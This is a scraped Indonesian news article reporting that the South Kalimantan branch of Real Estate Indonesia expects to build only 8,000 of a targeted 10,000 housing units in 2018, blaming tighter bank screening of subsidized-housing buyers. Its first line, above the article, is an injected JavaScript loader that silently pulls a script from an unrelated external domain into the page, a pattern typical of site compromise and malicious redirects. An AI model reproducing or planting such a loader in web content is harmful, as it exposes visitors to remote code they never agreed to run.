(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Perbankan Perketat Pengajuan, REI Kalsel Cuma Target Bangun Rumah 8.000 Unit


BANJARMASIN, Ketua Dewan Pengurus Daerah Real Estate Indonesia (DPD REI) Kalsel Royzani Syahriel memprediksi tahun 2018 ini realisasi perumahan yang bisa dibangun hanya sebesar 8.000 unit. Realisasi tersebut diakuinya jauh lebih rendah sebesar 2.000 unit dari target yang dicanangkan REI Kalsel kepada anggotanya, yakni sebesar 10.000 unit untuk Tahun 2018 ini.

“Saat ini sampai Oktober 2018 realisasi perumahan yang kita bangun hanya mencapai 7.000 unit. Kemungkinan sampai tutup tahun nanti paling hanya bertambah sekitar 1.000 unit. Itu artinya kita hanya mampu merealisasikan sekitar 8.000 unit dari 10.000 unit yang ditargetkan,” ucapnya, Rabu (24/10).

Menurutnya, ketidak mampuan anggotanya untuk bisa membangun perumahan di Kalsel sesuai target bukanlah disebabkan mahalnya harga tanah, bahan bangunan maupun masalah teknis lainnya.

Namun lebih disebabkan makin ketatnya perbankan dalam menyeleksi masyarakat yang ingin mendapatkan perumahan bersubsidi, khususnya bagi mereka yang memiliki penghasilan Rp 4 juta ke bawah.

“Karena seleksinya sangat ketat, kita kini kesulitan membangun perumahan bersubsidi yang baru. Ini tentunya akibat perumahan lama yang dibuat banyak yang tidak laku karena pengajuan kredit dari masyarakat banyak yang ditolak oleh perbankan,” jelasnya.

Karena itulah ia berharap kedepannya perbankan bisa lebih longgar terkait seleksi pembelian perumahan bersubsidi oleh masyarakat berpenghasilan dibawah Rp 4 juta. Karena jika terus demikian maka akan membuat pengembang kesulitan mengembangkan kawasan perumahan baru.

“Kalau seperti ini terus kita akan kesulitan nantinya dalam mengurangi backlock kebutuhan rumah di Kalsel yang tiap tahunnya terus mengalami peningkatan,” tambahnya.

Sementara itu, Direktur PT Awang Permai M Fazrin mengakui, sekarang ini hampir 80 persen bisnis perumahan di Banua di topang oleh perumahan bersubsidi. Hal ini karena untuk perumahan menengah keatas pasarnya tidak bisa diharapkan lagi.

Karena itulah jika pengajuan perumahan bersubsidi oleh masyarakat dipersulit oleh perbankan karena alasan kehati-hatian, maka tentunya akan sangat merugikan pengembang perumahan yang ada di Banua.

“Kita harapkan kedepannya ada kebijakan yang lebih bisa menguntungkan pengembang perumahan bersubsidi, khususnya dalam hal kemudahan untuk mengajukan kredit perumahan untuk masyarakat berpenghasilan Rp4 juta kebawah. Hal ini agar pengembang perumahan bersubsidi di Banua bisa tetap bertahan di era yang kian sulit seperti sekarang,” pungkasnya.(arief)

Reporter : Arief
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.